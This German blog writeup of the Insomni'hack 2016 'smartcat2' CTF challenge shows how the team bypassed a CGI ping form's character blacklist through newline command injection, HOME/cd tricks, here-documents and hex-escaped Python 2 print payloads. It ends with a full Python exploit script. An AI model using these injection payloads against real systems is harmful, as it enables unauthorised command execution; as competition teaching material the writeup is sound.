Insomni'hack Teaser CTF 2016 - Smartcat2 writeup

Sebastian schloss sich für den Insomnihack teaser CTF 2016 dem Team ENOFLAG an. In diesem Blogpost geht es um den ausgedachten Workaround für die smartcat2 (web0) Challenge.

Ich habe selbst smartcat1 nicht gelöst, da als ich beim Treffpunkt ankam, Denis @nobbd diese challenge bereits gelöst hatte und wir direkt mit smartcat2 weitemachten. Nachdem wir auch diese erfolgreich lösten, wurde uns mitgeteilt, dass wir nicht die intendierte Lösung genutzt haben, sodass wir gerne unseren Lösungsweg, nämlich den Bypass des Filters, beschreiben möchten.

Note to myself: Die Burp Instanzen öfters mal speichern und mehr Notizen machen, um bessere Writeups schreiben zu können. (Ich schreibe das aus meinem Gedächtnis heraus und habe wahrscheinlich (wichtige) Gedanken/Entscheidungen vergessen)

Smartcat2

Zunächst erstmal ein paar Worte zu der Challenge. Es war eine Webseite die uns erlaubte, eine IP Adresse zu pingen:

1
2
3
4
5
6
7
POST /cgi-bin/index.cgi?c= HTTP/1.1
Host: smartcat.insomnihack.ch
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

dest=127.0.0.1

Wie wir bereits in smartcat1 gelernt haben, konnte man Kommands ausführen, in dem man diese mit Zeilenumbrüchen (\n aka %0A) separierte. Zum Beispiel würde dest=127.0.0.1%0Als das Programm ls ausführen. Wie auch immer, es gab eine Blacklist mit unerlaubten Zeichen:

1
2
3
4
5
blacklist = " $;&|({`\t"
for badchar in blacklist:
        if badchar in dest:
                results = "Bad character %s in dest" % badchar
                break

Wir können keine Kommandos ausführen, welche Parameter benötigen, da Leerzeichen Teil der Blacklist sind. Der Standard-Bypass mit $IFS funktioniert auch nicht, da $ ebenfalls auf der Blacklist ist. Wir können aber < und > anstatt der Pipe (|) für die meisten Shell-Kommandos nutzen, um die Aus- bzw. Eingaben umzuleiten.

Die erste Sache die mich interessierte war, welche Shell genutzt wird. pstree bzw. ps oder ein ähnliches Kommando zeigte eine Menge sh Prozesse, sodass wohl dies die Shell darstellte. Somit leider keine Bash-Magic anwendbar.

Nach einer Weile Rumspielen mit find und cat fanden wir den Hinweis, dass die Flagge sich im Ordner /home/smartcat befindet. Allerdings sucht find vom aktuellen Arbeitsverzeichnis aus (/var/www/cgi-bin/) und wir können dieses nicht bearbeiten, oder doch?

Variablen nutzen

Was wir brauchten war etwas wie cd DIR, aber Leerzeichen sind immernoch auf der Blacklist. Die Manpage von cd brachte uns aber bei, dass If DIRECTORY is supplied, it will become the new directory. If no parameter is given, the contents of the HOME environment variable will be used. (Wenn DIRECTORY gegeben ist, dann wird in diesen Ordner gewechselt. Ansonsten wird die Variable HOME verwendet.) Mal schauen, ob wir den Wert der HOME-Variable zu /home/smartcat ändern können. Das Setzen von Umgebungsvariablen in der sh ist so einfach wie das Ausführen von VARIABLE=VALUE. Demnach haben wir zum Auflisten der Inhalte in /home/smartcat die folgende Eingabe genutzt:

1
dest=127.0.0.1%0AHOME=/home/smartcat%0Acd%0Als

Super, wir sehen nun alle Dateien in dem Ordner. Diesen Ansatz können wir nutzen, um in beliebige Ordner zu wechseln und uns die Inhalte anzeigen zu lassen. Allerdings können wir flag2 nicht lesen, da uns die nötigen Leserechte fehlen, aber wir können das Programm readlfag ausführen. %0Astrings<./readflag führt uns zum nächsten Teil der Aufgabe:

1
Write 'Give me a...' on my stdin, wait 2 seconds, and then write '... flag!'.Do not include the quotes. Each part is a different line.

Blacklist bypass

Wie man wahrscheinlich weiß, sind Blacklists immer schlecht und fast immer umgehbar. Wir brauchten einen Platz in das wir unseren Code abladen konnten, also einen Ordner mit Schreibrechten. Es stellte sich heraus, dass wir Schreib-, aber keine Ausführungsrechte auf /tmp hatten. Wir überzeugten uns davon mit ls>/tmp/x gefolgt von cat</tmp/x.

Super, wir können also beliebige Dateien in /tmp schreiben und ausführen. Aber wie füllt man diese Dateien mit Leben? Ich kam auf die Idee sog. here documents zu nutzen:

1
2
3
cat<<EOF>/tmp/file
helloworld
EOF
1
dest=127.0.0.1%0Acat<<EOF>/tmp/file%0Ahelloworld%0AEOF%0Als

Alles zwischen EOF und EOF wird dann in die Datei /tmp/file geschrieben. Der nächste Schritt bestand also darin, irgendwie ein Programm hochzuladen oder zu schreiben, was auf dem Server die readflag Binary ausführen und die Flagge anzeigen würde.

Während wir darüber nachdachten, wie wir Quelltext schreiben könnten, ohne Zeichen der Blacklist zu verweden, ließen wir ein HOME=/%0Acd%0Afind>/tmp/files laufen, um eine Liste aller Dateien auf dem Server zu bekommen. Der Request lief ins Timeout, aber lange genug, um einige Dateien aus dem /bin, /usr/bin aufzulisten. Einige Tools die wir als nützlich einstuften:

  • python2 / python3
  • gcc / g++
  • ftp / rsync / curl / wget
  • gzip / gunzip / zip / unzip

Ich versuchte erst irgendwie gzip oder zip zu missbrauchen, um ein Leerzeichen in einer Datei zu komprimieren und zu hoffen, dass in der Ausgabe keine Zeichen der Blacklist vorhanden sind. Unglücklicherweise klappte das Entpacken auf dem Server nicht richtig. Genau das war der Augenblick in dem Denis die geniale Idee hatte Python2 und dessen print Anweisung zu nutzen, um den Filter zu umgehen. In Python2 braucht man weder Klammern noch Leerzeichen, um etwas mit print auszugeben.

1
print'hello world'

Zusätzlich kann man Zeichen mit \xYY kodieren. Wir schrieben ein Shellscript für die readflag Binary:

1
echo "Give me a...";sleep 2;echo "... flag!"

… und kodierten alle Zeichen der Blacklist:

1
print'''echo\x20"Give\x20me\x20a..."\x3bsleep\x202\x3becho\x20"...\x20flag!"'''

Danach nutzten wir unser here-document-cat um das Python-Script in /tmp/print.py zu erzeugen, gefolgt durch die Ausführung mit: %0Apython</tmp/print.py>/tmp/getflag.sh Wir wiederholten diesen Schritt für ein zweites Shellscript, welches unser vorheriges ausführte:

1
sh /tmp/getflag.sh | /home/smartcat/readflag

Letzendlich führten wir das zuletzt erstellte Shellscript aus, um die Flagge zu erhalten: %0Ash</tmp/runflag.sh>/tmp/ourflag und %0Acat</tmp/ourflag zum Lesen der Flagge: INS{shells_are _way_better_than_cats}

Insgesamt war es eine ziemlich colle Challenge :)

The team of internetwache.org

Kompletter Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

# we have a cgi script and can execute remote commands
# problem: our command must not include any of: " $;&|({`\t"
# we solve this by using python to print the payload into a file
# this is we can encode any of the special characters and python doesn't need a whitespace between the print and the ''s


# upload first script 
# echo "Give me a...";sleep 2;echo "... flag!"
# encoded: 
# print'''echo\\x20\"Give\\x20me\\x20a...\"\\x3bsleep\\x202\\x3becho\\x20\"...\\x20flag!\"'''
requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "144"}, data={"dest": "127.0.0.1\ncat<<bbb>/tmp/tftf\nprint'''echo\\x20\"Give\\x20me\\x20a...\"\\x3bsleep\\x202\\x3becho\\x20\"...\\x20flag!\"'''\nbbb"})

# upload second script
# /bin/sh /tmp/denis | /home/smartcat/readflag
requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "133"}, data={"dest": "127.0.0.1\ncat<<bbb>/tmp/tftf2\nprint'''/bin/sh\\x20/tmp/denis\\x20\\x7c\\x20/home/smartcat/readflag'''\nbbb"})

# interprete first script and write to file
# python</tmp/tftf>/tmp/denis
requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "65"}, data={"dest": "127.0.0.1\npython</tmp/tftf>/tmp/denis"})

# pythin interprete second script and write to file
# python</tmp/tftf2>/tmp/rundenis
requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "69"}, data={"dest": "127.0.0.1\npython</tmp/tftf2>/tmp/rundenis"})

# execute second script and write to denisflag
# /bin/sh</tmp/rundenis>/tmp/denisflag
requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "84"}, data={"dest": "127.0.0.1\n\nHOME=/home/smartcat/\ncd\n/bin/sh</tmp/rundenis>/tmp/denisflag"})

# read flag file
# cat</tmp/denisflag
t = requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "56"}, data={"dest": "127.0.0.1\ncat</tmp/denisflag"})

print t.text